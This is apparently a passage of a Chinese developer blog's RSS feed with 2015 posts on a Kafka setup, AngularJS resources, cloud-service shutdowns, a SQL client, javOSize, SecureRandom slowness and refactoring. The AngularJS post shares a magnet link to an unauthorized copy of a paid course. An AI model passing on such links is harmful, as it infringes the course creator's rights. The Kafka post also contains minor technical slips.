&lt;p&gt;&lt;strong&gt;Consumer&lt;/strong&gt;
订阅消息并处理消息的对象称之为主题消费者&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Broker&lt;/strong&gt;
已发布的消息保存在一组服务器中，称之为Kafka集群。集群中的每一个服务器称为一个代理(Broker). 消费者可以订阅一个或多个主题，并从Broker拉数据(注意是拉,不是pull,)，从而消费这些已发布的消息。&lt;/p&gt;
&lt;h2 id=&#34;安装以windows为例&#34;&gt;安装(以windows为例)&lt;/h2&gt;
&lt;p&gt;安装非常简单,从这里&lt;a href=&#34;http://kafka.apache.org/downloads.html&#34;&gt;下载&lt;/a&gt;,下载完成后解压到一个目录就好了.&lt;/p&gt;
&lt;h2 id=&#34;简单使用&#34;&gt;简单使用&lt;/h2&gt;
&lt;p&gt;首先使用kafka的一个流程就是生产者生产消息,发送给kafka集群,然后消费者从kafka集群中获取消息进行消费.
要启动kafka需要先启动zookeeper,因为ZooKeeper是通过冗余服务实现高可用性的,也就是说在分布式环境中,如何保证kafka集群的高可用.zookeeper会来做leader选取,当消费者准备发消息时,会从zookeeper中获取一个可用的消息服务器地址,然后连接进行发送,保证党集群内有服务器宕机并不影响整体的使用.
&lt;img alt=&#34;来自slideshare的一张图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_transfer.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;1.启动自带的简易zookeeper.
进行解压目录的bin/windows目录
&lt;code&gt;zookeeper-server-start.bat ../../config/zookeeper.properties&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;执行命令启动,从zookeeper.properties中会看到.zookeeper会开发一个clientPort=2181,2181的端口给消费者使用,其实也可以给生产者使用,但是在0.8.0版本后，producer不再通过zookeeper连接broker, 而是通过brokerlist（192.168.0.1:9092,192.168.0.2:9092,192.168.0.3:9092配置,直接和broker连接，只要能和一个broker连接上就能够获取到集群中其他broker上的信息,绕过了zookeeper.&lt;/p&gt;
&lt;p&gt;2.启动kafka服务
&lt;code&gt;kafka-server-start.bat ../../config/server.properties&lt;/code&gt; 执行启动,另一个命令行窗口,同样的.查看配置问题,会知道kafka的服务会在port=9092 ,9092端口打开.&lt;/p&gt;
&lt;p&gt;3.注册一个topic
&lt;code&gt;kafka-topics.bat --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic test&lt;/code&gt;
这个命令中,create表示创建.zookeeper 和后面的地址表示kafka使用本机2181端口开放的zookeeper保持高可用.replication-factor表示消息只冗余一份,目前我们只有一个kafka机器,broker,partitions 表示一份分区,分区是kafka的另一个概念,大致是说,同一topic内部的消息按照一定的key和算法被分区(partition)存储在不同的位置上，这个下次写好了.这样已经在kafka注册了一个名为test的消息topic了.&lt;/p&gt;
&lt;p&gt;4.使用简易的控制台生产者模拟
&lt;code&gt;kafka-console-producer.bat --broker-list localhost:9092 --topic test&lt;/code&gt;
前面说过了.新版本生产者直接通过brokerlist来连接kafka,目前只有一台,所以就一个地址,准备向test这个topic发送消息.&lt;/p&gt;
&lt;p&gt;5.使用简易的控制台消费者模拟
&lt;code&gt;kafka-console-consumer.bat --zookeeper localhost:2181 --topic test&lt;/code&gt;
这个前面也说过了.消费者使用zookeeper获取可用的broker列表,然后拉去消息,并且还有一些offset同步的问题.和分区,文件存储一起的一个概念,下次写.&lt;/p&gt;
&lt;p&gt;6.开始生产和消费消息
至此,已经开了四个控制台窗口了..在producer窗口里,随便打几个字,然后enter,在消费者的窗口里将会显示出来.
&lt;img alt=&#34;实际测试图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_demo.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;其他问题&#34;&gt;其他问题&lt;/h2&gt;
&lt;p&gt;实际可能不那么顺利,如果你启动kafka或者其他应用的时候,有错误提示,提示无法创建虚拟机vm这样的.那么修改一下对应的bat脚本.就好了
&lt;img alt=&#34;启动错误&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_start_error.jpg&#34;&gt;,vm的heap申请是1G,如果你机器内存不够,改成512M,或者更小的就好了.&lt;/p&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kafka.apache.org/documentation.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://colobu.com/2014/08/06/kafka-quickstart&#34;&gt;kafka快速入门&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>AngularJS 学习资源</title>
      <link>http://blog.leaver.me/2015/08/08/angularjs-%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</link>
      <pubDate>Sat, 08 Aug 2015 21:48:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/08/08/angularjs-%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/</guid>
      <description>&lt;p&gt;一直对AngularJS很好奇,之前看过国内某在线网站的一套AngularJS教程,可惜没看懂.也没理解为了解决什么问题,只是知道是个前端JS框架.这周看到个Udemy - Learn and Understand AngularJS 这个教程.去看了一下,是收费的.强烈推荐看.无字幕,但是不难,已经看完了.讲的非常非常好.网上有别人分享的.我给个&lt;a href=&#34;magnet:?xt=urn:btih:900a5d5f6535bcf956cba5248ffce416d150a7fc&#34;&gt;磁力链接&lt;/a&gt;吧.&lt;/p&gt;
&lt;p&gt;01 Getting Started&lt;/p&gt;
&lt;p&gt;02 Model, View, Whatever___&lt;/p&gt;
&lt;p&gt;03 Services and Dependency Injection&lt;/p&gt;
&lt;p&gt;04 Data Binding and Directives&lt;/p&gt;
&lt;p&gt;05 Single Page Applications&lt;/p&gt;
&lt;p&gt;06 Custom Services&lt;/p&gt;
&lt;p&gt;07 Custom Directives&lt;/p&gt;
&lt;p&gt;08 Lets Build an App in record time&lt;/p&gt;
&lt;p&gt;09 BONUS Lectures&lt;/p&gt;
&lt;p&gt;10 Getting Ready for AngularJS 2.0 in 2016&lt;/p&gt;
&lt;p&gt;11 Conclusion&lt;/p&gt;
&lt;p&gt;非常的介绍.看完之后,你会理解AngularJS解决了什么问题,他的数据绑定怎么使用,模块怎么弄,怎么写服务,怎么定义指令等等.强烈推荐.&lt;/p&gt;
&lt;p&gt;最好有一点js和css的基础会比较好理解.如果懂后端开发的就更好了.依赖注入这些有点基础会比较好理解.&lt;/p&gt;</description>
    </item>
    <item>
      <title>免费的永远是最贵的</title>
      <link>http://blog.leaver.me/2015/08/07/%E5%85%8D%E8%B4%B9%E7%9A%84%E6%B0%B8%E8%BF%9C%E6%98%AF%E6%9C%80%E8%B4%B5%E7%9A%84/</link>
      <pubDate>Fri, 07 Aug 2015 22:24:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/08/07/%E5%85%8D%E8%B4%B9%E7%9A%84%E6%B0%B8%E8%BF%9C%E6%98%AF%E6%9C%80%E8%B4%B5%E7%9A%84/</guid>
      <description>&lt;p&gt;这周为啥想说这个话题呢,因为我常用的一个专门用来存储照片的&lt;a href=&#34;https://kanbox.com/news/201508032254&#34;&gt;酷盘要关闭了&lt;/a&gt;,这直接导致的结果就是几十G的照片文件需要自己再下载下来,然后转到另一个地方.之后我会从以下几个方便说起.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;我使用过的已经被关闭的服务&lt;/li&gt;
&lt;li&gt;我使用过的仍然健在的服务&lt;/li&gt;
&lt;li&gt;为什么说免费的就是最贵的&lt;/li&gt;
&lt;li&gt;我们应该怎么做&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;1-我使用过的已经被关闭的服务&#34;&gt;1. 我使用过的已经被关闭的服务&lt;/h2&gt;
&lt;p&gt;这个先从百度空间说起,在很久很久以前,大概是我高中的时候,很多同学开始在百度空间写文章,我当时对各种各样的小软件比较感兴趣,于是开了个百度空间,专门用来写这个东东.分享各种各样的软件.后来百度空间被个产品经理搞坏,然后&lt;a href=&#34;http://hi.baidu.com/index.html&#34;&gt;被关闭了.&lt;/a&gt;  &lt;img alt=&#34;百度关闭截图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/baiduzone_is_down.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;由于分享各种各样的软件.需要有一个提供下载的地方,于是选择了当时很火的&lt;a href=&#34;http://www.qiannao.com/desktop/into.html&#34;&gt;千脑网盘&lt;/a&gt;这个网盘当时和很多其他网盘一样,下载有收入.刚才去登陆了一下.居然还有点钱.这个网盘现在处于半死不活的状态.印象中好几年没更新了,当时推行的webOS的概念,只能说太超前,技术又不行.搞成现在这样.基本上就是个高级web页面..后来我就清掉了所有数据
&lt;img alt=&#34;千脑截图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/qiannao_withdraw.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;当时个人需要保留一些小的精美的软件,于是当时我大联想推出了一个联想网盘,当时大概是500M的额度,承诺免费永久使用,结果内测期结束没过多久,先是暂停上传,然后取消了个人服务.嗯嗯.从此联想一生黑&lt;/p&gt;
&lt;p&gt;什么坚果云之类的我就更不说了.&lt;/p&gt;
&lt;p&gt;然后使用了酷盘.原因不多解释,目前他就是那个样子了.说个细节.酷盘在第一次关闭的时候没有声明中的FAQ,只有道歉,没有后续解决方案,相当差劲.后来才加上的FAQ.一旦道歉,说明对方对不起你,要坑你,这句话谁说的来着,大体是对的.&lt;/p&gt;
&lt;p&gt;Google Reader.这个不多说.还有云诺,这个厂商更是垃圾,我记得没用几天,就关闭了.然后CEO出来哭,说是大家要理解.
不要在宣传的时候说的天花乱坠,永远免费,绝不关闭,而在关闭的时候说的文艺,煽情,多么不舍,最长久的是默默的陪伴.你说的这么煽情,这么文艺不就是为了坑么.&lt;/p&gt;
&lt;h2 id=&#34;2-我使用过的仍然健在的服务&#34;&gt;2. 我使用过的仍然健在的服务&lt;/h2&gt;
&lt;p&gt;Dropbox,dropbox由于国内访问不畅,已经基本不使用了,但是,Dropbox服务非常长久稳定.空间不大,但是绝对良心.好用.&lt;/p&gt;
&lt;p&gt;Google相册,好用.智能,空间不大.前段时间无意在Google相册里发现7年前的一张照片.当时的感觉就是还是Google靠谱.好吧,其实Google也不靠谱.Google Reader的关闭就是个坑.&lt;/p&gt;
&lt;p&gt;印象笔记,这小伙貌似最近也顶不住的样子,国内弹购买方案的频率现在极其高.可是免费的我真的够用了..如果哪天超过了免费额度,就买收费额度.&lt;/p&gt;
&lt;h2 id=&#34;3-为什么说免费的就是最贵的&#34;&gt;3. 为什么说免费的就是最贵的&lt;/h2&gt;
&lt;p&gt;免费的产品.那么使用者就是真正的产品.通过这些免费的反馈途径,免费的bug提供者,由于是免费,出现损失可以不赔偿,丢了自负,一旦关闭,使用者需要承受迁移的成本,数据丢失的风险.这个体会最深的就是科学上网了.之前一直找各种工具,各种方法,结果大部分时间耗费上找所谓稳定的那啥,想来花费的时间多看点书,写点代码,也值回来了.最后花点钱买个稳定的,有啥问题,卖方也有责任解决,大家干好自己的事情就好了.非常方便.&lt;/p&gt;
&lt;h2 id=&#34;4-我们应该怎么做&#34;&gt;4. 我们应该怎么做&lt;/h2&gt;
&lt;p&gt;买,买,买,任何东西,只有付费,才能享受更好的服务.才能有更稳定的服务,才能有售后支持,和赔偿,不论是科学上网,还是云端存储,还是其他任何东西.有钱的捧个钱厂,没钱的捧个小钱厂.&lt;/p&gt;
&lt;p&gt;在服务选择上,国外收费&amp;gt;国外免费&amp;gt;国内收费&amp;gt;国内免费.&lt;/p&gt;
&lt;p&gt;目前计划先迁移到百度云上,同时同步到Google相册,然后看条件是不是买个主机,搞个私有云.&lt;/p&gt;</description>
    </item>
    <item>
      <title>执行简单sql的小工具</title>
      <link>http://blog.leaver.me/2015/07/12/%E6%89%A7%E8%A1%8C%E7%AE%80%E5%8D%95sql%E7%9A%84%E5%B0%8F%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sun, 12 Jul 2015 19:36:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/12/%E6%89%A7%E8%A1%8C%E7%AE%80%E5%8D%95sql%E7%9A%84%E5%B0%8F%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;工作过程中,有时候需要在本地执行一些简单的sql,但是不想下载太大的mysql这类客户端.恰好看到&lt;a href=&#34;https://code.google.com/p/java-ascii-table/&#34; title=&#34;java-ascii-table&#34;&gt;https://code.google.com/p/java-ascii-table/&lt;/a&gt;,完美辅助,于是写个了简单的工具.应该是支持sqlserver,oracle,和mysql的.mysql的测试了.其他的没有测试.还要继续完善.已经放在了&lt;a href=&#34;https://github.com/leizhiyuan/sqlclient&#34; title=&#34;sqlclient@github&#34;&gt;github&lt;/a&gt;上.&lt;/p&gt;
&lt;p&gt;代码很简单.就不贴了.&lt;/p&gt;
&lt;h2 id=&#34;使用说明&#34;&gt;使用说明&lt;/h2&gt;
&lt;p&gt;先打包,然后&lt;code&gt;https://github.com/leizhiyuan/sqlclient/blob/master/README.md&lt;/code&gt; 根据不同的情况写几个简单的bat就可以了.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mysql
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:mysql://localhost:3306/mysql&amp;quot; -n &amp;quot;name&amp;quot;&lt;/code&gt;
&lt;code&gt;-p &amp;quot;pass&amp;quot; -d &amp;quot;com.mysql.jdbc.Driver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;oracle
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:oracle:thin:@127.0.0.1:1521:XE&amp;quot; -n &amp;quot;name&amp;quot;&lt;/code&gt;
&lt;code&gt;-p &amp;quot;pass&amp;quot; -d &amp;quot;oracle.jdbc.driver.OracleDriver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;sqlserver
&lt;code&gt;java -jar sqlclient.jar -u &amp;quot;jdbc:jtds:sqlserver://localhost:1433/sqlserver&amp;quot;&lt;/code&gt;
&lt;code&gt;-n &amp;quot;name&amp;quot; -p &amp;quot;pass&amp;quot; -d &amp;quot;net.sourceforge.jtds.jdbc.Driver&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;截图&#34;&gt;截图&lt;/h2&gt;
&lt;p&gt;交互式执行截图
&lt;img alt=&#34;交互式截图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/sqlclient-interactive-screen.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;普通执行截图
&lt;img alt=&#34;一次执行&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/sqlclient-direct-sql-screen.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;引用&#34;&gt;引用&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://code.google.com/p/java-ascii-table/&#34; title=&#34;java-ascii-table&#34;&gt;java-ascii-table项目&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.apache.org/proper/commons-cli/&#34; title=&#34;commons-cli&#34;&gt;commons-cli命令行解析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>javOSize:新一代java分析工具</title>
      <link>http://blog.leaver.me/2015/07/04/javosize%E6%96%B0%E4%B8%80%E4%BB%A3java%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Sat, 04 Jul 2015 16:18:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/04/javosize%E6%96%B0%E4%B8%80%E4%BB%A3java%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;h2 id=&#34;介绍&#34;&gt;介绍&lt;/h2&gt;
&lt;p&gt;最近看到这么个工具-javOSize .&lt;a href=&#34;http://www.javosize.com/&#34;&gt;官网地址&lt;/a&gt;,去官网看了下.发现介绍很有意思,叫做 the missing sugar for your Java cup.(你的咖啡杯中缺少的那颗糖).于是感受一下这颗糖到底甜不甜&lt;/p&gt;
&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;
&lt;p&gt;安装非常简单,从这里&lt;a href=&#34;http://www.javosize.com/download.html&#34;&gt;下载&lt;/a&gt;,其实完成之后就是一个jar包.非常简单,不用配置啥的.&lt;/p&gt;
&lt;h2 id=&#34;简单使用&#34;&gt;简单使用&lt;/h2&gt;
&lt;p&gt;使用方法就是从先附加到一个java进程上,在linux,上我直接执行
&lt;code&gt;ps aux|grep java &lt;/code&gt;
就能看到了.不废话,得到java进程的pid之后,运行 &lt;code&gt;java -jar javosize-1.0.9.jar pid&lt;/code&gt; pid就是pid的号了. 然后会看到如下图的界面&lt;img alt=&#34;启动页面&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_start_up.jpg&#34;&gt;,表示已经附加成功了.先看看都有啥.执行&lt;code&gt;ls&lt;/code&gt;.看到有这么几个命令.我比较单纯,刚开始以为是可执行文件.结果丢人了.看了下官方文档,才知道是目录.进入对应的目录.然后执行&lt;code&gt;ls&lt;/code&gt;就能看到对应的信息了.ls简直不能再万能..改目录支持的所有命令通过在对应的目录执行&lt;code&gt;help&lt;/code&gt;来查看.个人尝试觉得好的功能有.
&lt;img alt=&#34;所有功能目录&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_command_ls.jpg&#34;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;动态修改类
进入CLASSES目录,然后通过执行
&lt;code&gt;ls|grep xxx &lt;/code&gt;
来找到需要修改的类,然后通过vi 就可以直接编辑.编辑完成后,直接保存就会动态替换.文档里说是支持jdk1.7以上,对1.6的支持估计是不行的.没有测试.
&lt;img alt=&#34;修改类demo&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/javosize_command_class_modify.jpg&#34;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无须重启开启jmx
直接挂载之后,执行&lt;code&gt;cd REPOSITORY&lt;/code&gt; 然后执行就好了.
&lt;code&gt;exec START_JMX_SERVER 6666&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;拦截任意代码
可以动态添加类似Spring中的aop方法.用于打印一些调用日志,排查线上问题.进入INTERCEPTOR目录.然后通过如下的方法给某个类的某个方法添加拦截器.
&lt;code&gt;create TickServlet begin mypackage.Hello doGet System.out.println(&amp;quot;Servlet invoked&amp;quot;);&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测内存泄漏
进入 REPOSITORY 目录,执行 &lt;code&gt;exec  TOP_FAT_STATIC_VARIABLES  5 com.apache.*&lt;/code&gt;会取出某个包下面占用大小最大的5个类.会很方便找到.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;自动检测性能问题
PROBLEMS 目录专业解决这种问题.进入目录后.执行ls命令.会看到这样的场景&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Concurrency
Deadlocked: false&lt;/li&gt;
&lt;li&gt;Memory
High GC (&amp;gt;2%): false&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里目前只检测了死锁和频繁GC.已经很有用了.至于效果还有待观察.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;无需重启开启GC 日志
和开启jmx一样,进入JMX目录后,执行
&lt;code&gt;exec java.lang:type=Memory.setVerbose(true);&lt;/code&gt;
就开启了.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.javosize.com/gettingStarted.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>休假停下来反思</title>
      <link>http://blog.leaver.me/2015/07/02/%E4%BC%91%E5%81%87%E5%81%9C%E4%B8%8B%E6%9D%A5%E5%8F%8D%E6%80%9D/</link>
      <pubDate>Thu, 02 Jul 2015 21:20:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/07/02/%E4%BC%91%E5%81%87%E5%81%9C%E4%B8%8B%E6%9D%A5%E5%8F%8D%E6%80%9D/</guid>
      <description>&lt;p&gt;项目经过一年终于告一段落.于是有了一个短暂的休假.&lt;/p&gt;
&lt;p&gt;早上照例没能睡好觉.很早就醒了.然后又躺了一会,醒来看了会订阅.然后听了一集&amp;laquo; Mr.Robot &amp;raquo;,感觉还行,再对着字幕看了一遍,以后还是有一些地方理解的有问题.以后还是要多对着无字幕版的美剧去看,才能慢慢听懂更多的,比如今天听到个&lt;code&gt;society&lt;/code&gt;,讲社交焦虑,听到很熟悉,就是没反应过来.学而不用则殆.&lt;/p&gt;
&lt;p&gt;中午给文哥寄了个快递,顺便点个饭.之前的&amp;quot;手艺&amp;quot;应该也已经忘得差不多了.到杭州之后很少做饭,工作太忙.没办法.当然这只是借口.主要还是我懒吧.&lt;/p&gt;
&lt;p&gt;下午按计划好的去浙江图书馆,从大学出来后,虽然书还是看了一些的.但是也再也没有走入图书馆.之前一直想去上海图书馆,结果一直耽搁,今天去浙江图书馆办了个证,借了几本书,看着里面的人自习的自习,借阅的借阅,想想还是有点熟悉的.遗憾的是书相同的份数有点少.想借的几本书都被人借走了,最终借了个**&amp;laquo; 七周七语言 &amp;raquo;&lt;strong&gt;,希望能给自己的编程带来不一样的思考角度.读完后争取写个书评和总结,还借了一本摄影相关的,毕竟拍照是服务妹子的技能.还有个&lt;/strong&gt;&amp;laquo; netty权威指南 &amp;raquo;** ,虽然这本书评价好像不高,但是拿来看看还是可以的.&lt;/p&gt;
&lt;p&gt;下午回家.杭州的下午还挺美的.天气凉爽.只是作为工作狗,没有下午出来的机会吧.&lt;/p&gt;
&lt;p&gt;工作忙,不过在一切自动化的指导下,(马克思没有找我),对linux 的shell操作熟悉度急剧上升,希望能写的更好,让更多的过程自动化,也希望有时间停下来想一想.当时为什么选择写代码,为什么选择当前的职业,知道自己做了什么,知道自己是否进步,想起之前看到的一个话,不知真假,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只是因为三轮车好学，你就要一辈子骑三轮车吗？ – Douglas Englebart&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在职业之外,除了高效做好自己的工作外,也要学习更多的技能,英语,锻炼身体,其他编程相关的.不要安于现状.不要重复自己.还是那句话,不要让你的身份限制你的能力.&lt;/p&gt;</description>
    </item>
    <item>
      <title>SecureRandom第一次生成随机数非常慢</title>
      <link>http://blog.leaver.me/2015/06/30/securerandom%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%94%9F%E6%88%90%E9%9A%8F%E6%9C%BA%E6%95%B0%E9%9D%9E%E5%B8%B8%E6%85%A2/</link>
      <pubDate>Tue, 30 Jun 2015 19:18:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/06/30/securerandom%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%94%9F%E6%88%90%E9%9A%8F%E6%9C%BA%E6%95%B0%E9%9D%9E%E5%B8%B8%E6%85%A2/</guid>
      <description>&lt;p&gt;最近发现某个系统在第一次做操作的时候非常缓慢,逐步定位打印更加详细的日志后,发现问题是使用了SecureRandom 这个类来获取随机种子,这个类第一次初始化的时候setSeed的值,非常缓慢,偶尔出现, 排查的过程就是二分,不断定位具体的代码,最终定位&lt;/p&gt;
&lt;p&gt;也就是说根本原因是SecureRandom 这个jre的工具类的问题.具体的bug搜索之后,见&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://bugs.java.com/view_bug.do?bug_id=6521844&#34;&gt;http://bugs.java.com/view_bug.do?bug_id=6521844&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;详细的解释过程:
参考: &lt;a href=&#34;http://www.websina.com/bugzero/faq/securerandom-slowness.html&#34;&gt;http://www.websina.com/bugzero/faq/securerandom-slowness.html&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q: Why the SecureRandom generateSeed is so slow or even hang on Linux OS?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A: When you login, it hangs or takes more than a minute to get the response.
If your server is on a Linux OS, the culprit here is SecureRandom generateSeed()
which uses /dev/random to generate the seed. However, /dev/random is a blocking
number generator and if it doesn&amp;rsquo;t have enough random data to provide, it will
simply wait until it does, which forces the JVM to wait. Keyboard and mouse input
as well as disk activity can generate the randomness or entropy needed. But on a
server that lacks such activies, the problem may arise.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;大意是说当使用SecureRandom 的时候默认使用的/dev/random 文件来生成种子,如果没有足够的种子数据,(这些数据是由键盘,鼠标,磁盘活动等产生的,如果没有这些活动,就没有足够的数据)会一直等待,导致jvm卡住,耗费比较长的时候.由于出现问题的这个环境的确是最近没什么操作,而且复现的操作也是隔个一个晚上,重新做业务才会出现.&lt;/p&gt;
&lt;p&gt;文中给出了一种解决方案.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动参数添加 -Djava.security.egd=file:/dev/./urandom,验证是可以的.&lt;/li&gt;
&lt;li&gt;修改随机数获取方式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里urandom是啥呢,引用自&lt;a href=&#34;https://zh.wikipedia.org/wiki//dev/random&#34;&gt;维基&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/dev/random的一个副本是/dev/urandom（“unlocked”，非阻塞的随机数发生器[4]），它会重复使用熵池中的数据以产生伪随机数据。这表示对/dev/urandom的读取操作不会产生阻塞，但其输出的熵可能小于/dev/random的。它可以作为生成较低强度密码的伪随机数生成器，不建议用于生成高强度长期密码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;类似案例: SecureRandom 导致tomcat启动过慢.
&lt;a href=&#34;https://wiki.apache.org/tomcat/HowTo/FasterStartUp#Entropy_Source&#34;&gt;https://wiki.apache.org/tomcat/HowTo/FasterStartUp#Entropy_Source&lt;/a&gt;
从文中看到说java8已经提升了这个性能.但是一般生产环境的java版本是不会改的.&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于重构和设计模式</title>
      <link>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E9%87%8D%E6%9E%84%E5%92%8C%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
      <pubDate>Sun, 10 May 2015 17:23:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E9%87%8D%E6%9E%84%E5%92%8C%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</guid>
      <description>&lt;p&gt;之前在工作写了一个数据库查询的工具.大体背景就是这种工具需要跨不同环境的数据库,开发,测试,性能等.最早简单写了一个版本,在第一次查询时会初始化三个库的连接,保存在map中,然后后续查询直接根据使用者选择的环境类型取出对应的连接构造sql即可.&lt;/p&gt;
&lt;p&gt;随着各个不同系统接入的越来越多,各个平台都保存了自己的连接,导致代码冗余度急剧上升,上周,利用晚上的一点时间读了一下&amp;laquo;重构&amp;raquo;,这本书,深受启发,一个是重构就是要采用小步快走的方式,在测试用例的覆盖下,快速改动,去掉代码中不合理的地方.另一个就是重构需要对业务的当下和未来的变化有一个比较深刻的理解,知道这个系统能做什么,不能做什么.才能更好地做重构.&lt;/p&gt;
&lt;p&gt;于是,根据这个工具的特点,感觉抽象工厂模式比较合适,于是在抽象工厂模式的指导下,对关键部分进行了重构,在增加了几个类之后,代码复杂度开始下降.各个接入系统的代码基本上保持在了几十行内,之前都是几百行,大量冗余代码,只能说自己之前眼光太短浅了.并且,采用了类似单例模式的操作.当查询的时候,先根据当前环境作为key取连接,如果连接被关闭,或者不存在,则初始化,然后放到map中,返回.如果有的话,直接用.这样改动后,第一次查询的时候只需要初始化一个连接,速度极快.也算个好处..&lt;/p&gt;
&lt;p&gt;由此,反思了一下,设计模式之前也看过.但是总觉得各种书上讲的都比较浅显,给出的例子也似乎如作者所说,很符合那个模式,但实际上,在工作中如何识别当下的业务应该是比较难的,需要在业务变动中,不断地重构自己的代码,才能发现,某一种模式似乎特别适合解决这种问题,反之,重构也需要一定的设计模式作为基础,否则对代码的重构会只停留在抽取公共方法.重命名.大类变小类的阶段..&lt;/p&gt;
&lt;p&gt;希望接下来能够抽空把&amp;laquo;敏捷软件开发：原则、模式与实践&amp;raquo;这本书看完.同时能够真的理解这些模式的场合,想起一句话,知道一个技术方案的好,说明你还没有理解这种方法,只有你知道了这个方案的不足,你才真正理解了他,相信很多技术我都没有理解.设计模式也是,希望之后能够理解每种模式的不足,重构这本书也要经常翻翻,能加深对代码的理解.&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于国产的一些想法</title>
      <link>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E5%9B%BD%E4%BA%A7%E7%9A%84%E4%B8%80%E4%BA%9B%E6%83%B3%E6%B3%95/</link>
      <pubDate>Sun, 10 May 2015 11:14:53 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/05/10/%E5%85%B3%E4%BA%8E%E5%9B%BD%E4%BA%A7%E7%9A%84%E4%B8%80%E4%BA%9B%E6%83%B3%E6%B3%95/</guid>
      <description>&lt;p&gt;最近也没啥特殊的事情,恰好昨晚魅族云服务当机,导致本地所以联系人丢失,路上想给家里打个电话,没法打,最近又入手了国产入门机械键盘雷柏v500,写点啥呢.
##魅族##&lt;/p&gt;
